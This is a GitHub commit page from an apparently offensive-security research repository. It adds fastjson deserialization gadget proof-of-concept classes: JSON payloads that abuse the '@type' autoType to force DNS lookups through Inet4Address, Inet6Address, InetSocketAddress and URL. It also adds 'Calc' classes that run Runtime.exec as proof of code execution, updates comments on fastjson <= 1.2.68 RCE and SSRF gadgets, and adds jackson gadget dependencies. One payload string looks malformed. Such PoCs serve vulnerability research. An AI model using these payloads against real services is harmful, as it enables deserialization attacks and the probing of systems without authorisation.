Skip to content

Commit 1a71533

Browse files
author
“threedr3am”
committed
feat:添加一点点fastjson gadget
1 parent b56f8f7 commit 1a71533

File tree

9 files changed

+89
-13
lines changed

9 files changed

+89
-13
lines changed

common/src/main/java/Calc.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
public class Calc {
55
static {
66
try {
7+
System.out.println("run Calc...");
78
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
89
} catch (Throwable e) {
910
e.printStackTrace();

common/src/main/java/CalcScriptEngineFactory.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ public class CalcScriptEngineFactory implements ScriptEngineFactory {
99

1010
public CalcScriptEngineFactory() {
1111
try {
12+
System.out.println("run CalcScriptEngineFactory...");
1213
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
1314
} catch (Throwable e) {
1415
e.printStackTrace();
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.threedr3am.bug.fastjson.dns;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class Inet4AddressPoc {
9+
10+
public static void main(String[] args) {
11+
String payload = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog\"}";
12+
try {
13+
JSON.parse(payload);
14+
} catch (Exception e) {
15+
e.printStackTrace();
16+
}
17+
}
18+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.threedr3am.bug.fastjson.dns;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class Inet6AddressPoc {
9+
10+
public static void main(String[] args) {
11+
String payload = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"dnslog\"}";
12+
try {
13+
JSON.parse(payload);
14+
} catch (Exception e) {
15+
e.printStackTrace();
16+
}
17+
}
18+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.threedr3am.bug.fastjson.dns;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class InetSocketAddressPoc {
9+
10+
public static void main(String[] args) {
11+
String payload = "{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"xxx.dns\"}, \"port\":80}";
12+
try {
13+
JSON.parse(payload);
14+
} catch (Exception e) {
15+
e.printStackTrace();
16+
}
17+
}
18+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.threedr3am.bug.fastjson.dns;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class URLPoc {
9+
10+
public static void main(String[] args) {
11+
String payload = "{{\"@type\":\"java.net.URL\",\"val\":\"http://xxx.dns\"}:\"aaa\"}";
12+
try {
13+
JSON.parse(payload);
14+
} catch (Exception e) {
15+
e.printStackTrace();
16+
}
17+
}
18+
}

fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/HadoopHikariPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
import com.threedr3am.bug.common.server.LdapServer;
66

77
/**
8-
* fastjson <= 1.2.62 RCE,需要开启AutoType (report by threedr3am to ASRC)
8+
* fastjson <= 1.2.68 RCE,需要开启AutoType (report by threedr3am to ASRC)
99
*
1010
* <dependency>
1111
* <groupId>org.apache.hadoop</groupId>

fastjson/src/main/java/com/threedr3am/bug/fastjson/ssrf/JREJeditorPaneSSRFPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
import com.threedr3am.bug.common.server.HTTPServer;
66

77
/**
8-
* fastjson <= 1.2.66 RCE,需要开启AutoType(todo JRE自带依赖) (Discovered by threedr3am) 这个还是蛮好的gadget
8+
* fastjson <= 1.2.68 RCE,需要开启AutoType(todo JRE自带依赖) (Discovered by threedr3am) 这个还是蛮好的gadget
99
*
1010
* @author threedr3am
1111
*/

jackson/pom.xml

Lines changed: 13 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -12,16 +12,7 @@
1212
<artifactId>jackson</artifactId>
1313

1414
<properties>
15-
<!-- CVE-2019-14379-->
16-
<!-- <jackson.version>2.9.9.1</jackson.version>-->
17-
18-
<!-- CVE-2019-20330-->
19-
<!-- <jackson.version>2.9.10.1</jackson.version>-->
20-
21-
<!-- CVE-2020-8840-->
22-
<!-- <jackson.version>2.10.2</jackson.version>-->
23-
24-
<jackson.version>2.9.10.3</jackson.version>
15+
<jackson.version>2.9.10.3</jackson.version>
2516
</properties>
2617

2718
<dependencies>
@@ -127,7 +118,7 @@
127118
<version>1.5.1</version>
128119
</dependency>
129120

130-
<dependency>
121+
<dependency>
131122
<groupId>org.apache.ignite</groupId>
132123
<artifactId>ignite-jta</artifactId>
133124
<version>2.8.0</version>
@@ -151,6 +142,17 @@
151142
<version>4.0.63</version>
152143
</dependency>
153144

145+
<dependency>
146+
<groupId>org.jdom</groupId>
147+
<artifactId>jdom</artifactId>
148+
<version>1.1.3</version>
149+
</dependency>
150+
<dependency>
151+
<groupId>org.jdom</groupId>
152+
<artifactId>jdom2</artifactId>
153+
<version>2.0.6</version>
154+
</dependency>
155+
154156

155157
</dependencies>
156158

0 commit comments

Comments
 (0)